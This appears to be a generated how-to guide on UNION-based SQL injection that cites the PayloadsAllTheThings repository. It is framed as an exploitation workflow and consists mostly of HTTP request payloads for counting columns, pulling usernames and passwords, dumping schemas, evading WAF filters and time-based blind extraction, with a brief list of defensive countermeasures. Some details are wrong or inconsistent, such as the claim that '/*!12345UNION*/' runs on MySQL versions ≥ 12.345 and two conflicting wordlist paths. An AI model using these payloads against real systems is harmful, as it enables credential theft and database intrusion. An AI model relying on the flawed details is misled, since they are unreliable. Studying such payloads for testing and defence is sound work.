# Exploiting UNION-based SQL Injection for Data Extraction: A Complete Guide > Master UNION SQL injection to extract sensitive data. This guide explains how to exploit vulnerabilities by crafting malicious SELECT statements to retrieve any database records. - Repository: [Swissky/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - Tags: how-to-guide - Published: 2026-03-01 --- **UNION-based SQL injection allows attackers to extract arbitrary database records by appending a malicious `SELECT` statement to a vulnerable query, provided the injected query matches the original's column count and data types.** Exploiting UNION-based SQL injection for data extraction remains one of the most reliable techniques for retrieving sensitive information from compromised web applications. This method leverages the SQL `UNION` operator to merge results from the original query with attacker-controlled `SELECT` statements, effectively turning a legitimate data retrieval operation into a full database dump. The following guide draws from the comprehensive payload collection and documentation in the **swisskyrepo/PayloadsAllTheThings** repository, specifically referencing `SQL Injection/README.md` and database-specific injection files to provide actionable exploitation workflows. ## How UNION-Based SQL Injection Works The attack exploits the `UNION` operator, which concatenates the result sets of two or more `SELECT` statements. For a successful exploitation, the attacker must satisfy two constraints: the number of columns in the injected query must equal the number in the original query, and the data types of corresponding columns must be compatible. According to the source analysis of `SQL Injection/README.md`, a typical vulnerable query structure appears as: ```sql SELECT product_name, product_price FROM products WHERE product_id = 'input_id'; ``` By injecting a payload such as `1' UNION SELECT username, password FROM users--`, the attacker forces the database to execute: ```sql SELECT product_name, product_price FROM products WHERE product_id = '1' UNION SELECT username, password FROM users --'; ``` The application then returns both the original product data and the credential data from the `users` table. ## Step-by-Step Exploitation Workflow The following workflow, derived from the repository's structured guidance, outlines the complete process from initial detection to full data extraction. ### 1. Identify Vulnerable Parameters Locate input vectors that interact with the database, such as URL parameters, form fields, or HTTP headers. Modify these inputs to trigger database errors or boolean-based behavioral changes. ### 2. Determine Column Count Use the `ORDER BY` technique or `UNION SELECT NULL` sequences to enumerate the number of columns in the original query. Increment the column index until the application returns an error or changes behavior: ```http GET /product?id=1' ORDER BY 1-- HTTP/1.1 GET /product?id=1' ORDER BY 2-- HTTP/1.1 GET /product?id=1' ORDER BY 3-- HTTP/1.1 ``` Alternatively, use `UNION SELECT` with increasing `NULL` values: ```http GET /product?id=1' UNION SELECT NULL-- HTTP/1.1 GET /product?id=1' UNION SELECT NULL,NULL-- HTTP/1.1 GET /product?id=1' UNION SELECT NULL,NULL,NULL-- HTTP/1.1 ``` Reference: `SQL Injection/MySQL Injection.md` provides detailed column enumeration techniques. ### 3. Identify Injectable Columns Determine which columns are reflected in the application response by replacing `NULL` values with database version strings or other identifiable data: ```http GET /product?id=1' UNION SELECT NULL,NULL,@@version-- HTTP/1.1 ``` If the MySQL version appears in the response, the third column is injectable. ### 4. Match Data Types Ensure the injected data types match the expected column types. Use casting functions when necessary: ```sql CAST(@@version AS CHAR) CONCAT('data', 123) ``` ### 5. Extract Target Data Execute the final extraction payload. For credential harvesting: ```http GET /product?id=1' UNION SELECT username,password FROM users-- HTTP/1.1 ``` For schema enumeration: ```http GET /product?id=1' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- HTTP/1.1 ``` ### 6. Iterate for Complete Dumps Retrieve multiple rows using `LIMIT`/`OFFSET` or concatenate results: ```sql UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users ``` Reference: `SQL Injection/MySQL Injection.md` documents `GROUP_CONCAT` usage for row aggregation. ## Practical Payload Examples for Data Extraction The following examples from the PayloadsAllTheThings repository demonstrate specific extraction scenarios across different database management systems. ### Determining Column Count with ORDER BY The `ORDER BY` method provides a reliable mechanism for column enumeration without requiring `UNION`: ```http GET /search?term=test' ORDER BY 10-- HTTP/1.1 ``` If column 10 does not exist, the database returns an error, indicating the actual column count is lower. ### Extracting Credentials with UNION SELECT Once column count and types are confirmed, extract sensitive data by replacing the original query's displayed columns: ```http GET /item?id=1' UNION SELECT NULL, username, password, NULL FROM admin_users-- HTTP/1.1 ``` This payload assumes the original query returns four columns, with columns two and three displayed in the response. ### Dumping Schema Information Enumerate database structure to identify additional targets: ```http GET /item?id=1' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema=database()-- HTTP/1.1 ``` For PostgreSQL, use `pg_catalog.pg_tables` or `information_schema.tables` depending on permissions. ### Evading Filters with Conditional Comments MySQL conditional comments allow payloads to bypass primitive WAF filters: ```http GET /item?id=1' /*!12345UNION*/ SELECT username, password FROM users-- HTTP/1.1 ``` The `/*!12345UNION*/` syntax executes only on MySQL versions ≥ 12.345, often slipping past pattern-based detection. ### Time-Based Blind Extraction (PostgreSQL) When direct output is not visible, use time delays to extract data bit-by-bit: ```http GET /item?id=1' AND (SELECT CASE WHEN (SELECT password FROM users LIMIT 1 OFFSET 0)='p@ss' THEN pg_sleep(5) ELSE 0 END)-- HTTP/1.1 ``` Response delays indicate successful character matching, allowing iterative data reconstruction. ## Key Repository Files for UNION-Based Attacks The PayloadsAllTheThings repository organizes its SQL injection resources into database-specific files and generic wordlists. The following files contain the most relevant payloads and techniques for UNION-based exploitation: - **`SQL Injection/README.md`** – Central documentation covering UNION-based injection fundamentals, column enumeration techniques, and defensive considerations. - **`SQL Injection/MySQL Injection.md`** – Comprehensive MySQL-specific payloads including `ORDER BY` column counting, `GROUP_CONCAT` aggregation for multi-row extraction, and conditional comment evasion. - **`SQL Injection/OracleSQL Injection.md`** – Oracle-specific UNION techniques, including queries against `dual` tables and `v$version` extraction. - **`SQL Injection/Intruder/Generic_UnionSelect.txt`** – A ready-made wordlist containing `UNION SELECT` skeletons for 1-100 columns, designed for use with Burp Suite Intruder or similar tools. - **`SQL Injection/SQLmap.md`** – Integration guidance for `sqlmap`, which automates many UNION-based extraction techniques. ## Defensive Countermeasures Preventing UNION-based SQL injection requires eliminating the vulnerability at the source while implementing detection layers. Security teams should prioritize the following controls: - **Parameterized queries** – Use prepared statements with bound variables instead of string concatenation. This prevents attackers from injecting `UNION` operators into the query structure. - **Least-privilege database accounts** – Restrict application database users from accessing system tables (`information_schema`, `pg_catalog`, `v$version`) or tables outside their specific scope. - **Input validation** – Implement allowlist validation for user inputs, rejecting unexpected characters such as single quotes, hyphens, and SQL keywords when not required. - **Error handling** – Configure applications to return generic error messages. Detailed SQL error messages reveal column counts and database structures that facilitate UNION attack construction. - **Web Application Firewalls** – Deploy WAFs with rules detecting `UNION SELECT` patterns, conditional comments, and anomalous query lengths. ## Summary - **UNION-based SQL injection** merges attacker-controlled `SELECT` statements with legitimate queries to extract arbitrary database content. - **Column enumeration** is the critical first step; attackers use `ORDER BY` or `UNION SELECT NULL` sequences to determine the exact column count required for successful payload injection. - **Data type matching** ensures compatibility between original and injected columns, often requiring casting functions or strategic column placement. - **The PayloadsAllTheThings repository** provides comprehensive resources including `SQL Injection/README.md`, database-specific injection files, and the [`Generic_UnionSelect.txt`](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/main/Generic_UnionSelect.txt) wordlist for automating column enumeration. - **Prevention** relies on parameterized queries, least-privilege database access, and proper error handling to deny attackers the information needed to construct valid UNION attacks. ## Frequently Asked Questions ### How does an attacker determine the correct number of columns for a UNION-based SQL injection attack? Attackers typically use two methods to enumerate column counts. First, they incrementally test `ORDER BY` clauses (`ORDER BY 1`, `ORDER BY 2`, etc.) until the database returns an error, indicating the previous number was the actual column count. Alternatively, they inject `UNION SELECT NULL` sequences with increasing numbers of `NULL` values until the query executes successfully without type mismatch errors. The `SQL Injection/MySQL Injection.md` file in the PayloadsAllTheThings repository provides detailed examples of both techniques. ### What is the difference between UNION and UNION ALL in SQL injection contexts? `UNION` automatically eliminates duplicate rows from the combined result set, while `UNION ALL` preserves all rows including duplicates. In SQL injection attacks, attackers typically use `UNION` because it is more commonly supported and sufficient for data extraction. However, `UNION ALL` can be useful when the attacker needs to ensure specific row ordering or when dealing with complex nested queries where duplicate elimination might cause unexpected result truncation. Both operators require identical column counts and compatible data types between the original and injected queries. ### How can attackers bypass Web Application Firewalls when performing UNION-based SQL injection? Attackers employ several evasion techniques to circumvent WAF filters. **Conditional comments** allow payloads to hide SQL keywords using MySQL-specific syntax like `/*!12345UNION*/`, which executes only on specific MySQL versions. **Encoding techniques** include using hexadecimal representations, URL encoding, or base64 encoding depending on the application's decoding behavior. **Inline comments** such as `/**/` can break up keywords (`UN/**/ION`), while **case variation** and **alternative encoding** (UTF-8, Unicode) may bypass pattern-matching rules. The `SQL Injection/MySQL Injection.md` file documents these comment-based evasion methods extensively. ### Why does the injected SELECT statement need to match the original query's data types? SQL databases enforce type compatibility in UNION operations to ensure the combined result set has consistent column definitions. If the original query's first column expects an integer but the injected query provides a string, the database returns a type mismatch error and the UNION fails. Attackers resolve this by mapping injectable columns to compatible data types—placing string data (like usernames or passwords) in columns that originally returned strings, or using casting functions like `CAST()` or `CONVERT()` to transform data types explicitly. This constraint makes column enumeration a prerequisite for successful data extraction.